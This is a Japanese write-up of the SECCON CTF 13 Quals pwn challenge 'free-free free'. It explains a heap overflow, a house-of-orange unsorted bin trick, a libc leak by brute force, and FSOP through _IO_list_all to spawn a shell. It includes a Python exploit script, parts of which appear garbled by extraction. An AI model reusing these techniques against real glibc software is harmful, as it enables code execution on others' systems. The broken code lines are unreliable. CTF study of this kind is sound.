free-free free (SECCON CTF 13 Quals)
0x10のheap overflowがある
freeができないため、top chunkのサイズを書き換えてhouse of orangeの要領でサイズ0x100のunsorted binを確保する(0x400までのサイズ制限があるため、同サイズのtcacheを埋める必要がある)
unsorted binをallocする際nextの位置にあるfdが初期化されないためにmain_arenaのアドレスがそのまま残り、構造体のポインタとしてリストに接続されてしまう
main_arenaの領域は周辺のlibcのアドレスで埋められていて、アドレスの上位2バイトがid, 下位4バイトがlenの位置に該当する
よってidを総当たりで当てればprintf("data(%u): ", p->len);の出力と合わせてlibc leakができる
自分の環境ではlibc addressの上位1nibbleのみが0x7で固定だったので3nibble分のブルートフォースが必要だったが、リモート環境だと0x7fまで固定だったので少し楽
lenが大きな値になるためそのままeditすることによってペイロードを注入しつつmain_arenaの下にある__IO_list_allを書き換えてFSOPができる
main_arenaと__IO_list_allの間にある_nl_global_locale領域には適当に有効なアドレスを設定しておかないとgetintから呼び出されているstrtollでセグフォになってしまう
_lockには書き込み可能なアドレスが必要だが、適当にlibc addressの入っている場所を指定した所_IO_flockfileで止まってしまったので空値のアドレスを指定すると良い
code: (python)
def alloc(size):
sendafter('> ', b'1')
sendafter(': ', str(size).encode())
data_id = eval(recv(after=b'ID:').split()0) info(f'alloc: {data_id:#x} {size=:#x}')
return data_id
def edit(data_id, data):
sendafter('> ', b'2')
sendafter(': ', hex(data_id).encode())
if io.recvn(1) == b'N':
return None
length = int(recv(b')', after=b'('):-1) sendafter(': ', data)
info(f'edit: {data_id:#x}')
info(f'{length=}')
return length
def free(data_id):
sendafter('> ', b'3')
sendafter(': ', hex(data_id).encode())
info(f'free: {data_id:#x}')
def exploit():
# free 0x100
for _ in range(3):
free(alloc(0x400-0x10)) # pad: 0xc00
data = alloc(0x40)
edit(data, b'a'*0x38 + p64(0x121):-2) free(data)
for i in range(7):
# free 0x100
for _ in range(3):
free(alloc(0x400-0x10)) # pad: 0xc00
data = alloc(0x2d0)
edit(data, b'a'*0x2c8 + p64(0x121):-2) free(data)
free(alloc(0x120))
alloc(0xe0) # unsortedbin
for i in range(0x1000)::-1: high = 0x7 * 0x1000 + i
low = edit(high, b'a')
if low: break
else:
info('failed')
exit()
leak = high * 0x100000000 + low
libc_base = leak - 0x203c00
print(f'{leak=:#x}')
print(f'{libc_base=:#x}')
write_base = libc_base + 0x203c20
io_list_all = libc_base + 0x2044c0
payload = flat({
0x0000: b" sh", # _flags (rdi)
0x0028: 0x1, # _IO_write_ptr
0x0088: write_base+0x200, # _lock (require writable address)
0x00a0: write_base-0x10, # _wide_data
# vtable
0x0068-0x10: libc_base + libc.symbols'system', # __doallocate # wide_data
0x00e0-0x10: write_base-0x10,
}, filler=b'\0', length=io_list_all-write_base-0x100)
payload += p64(write_base+0x300) * 0x20 # _nl_global_locale
payload += p64(write_base) # __IO_list_all
sendafter('> ', b'0')
return 0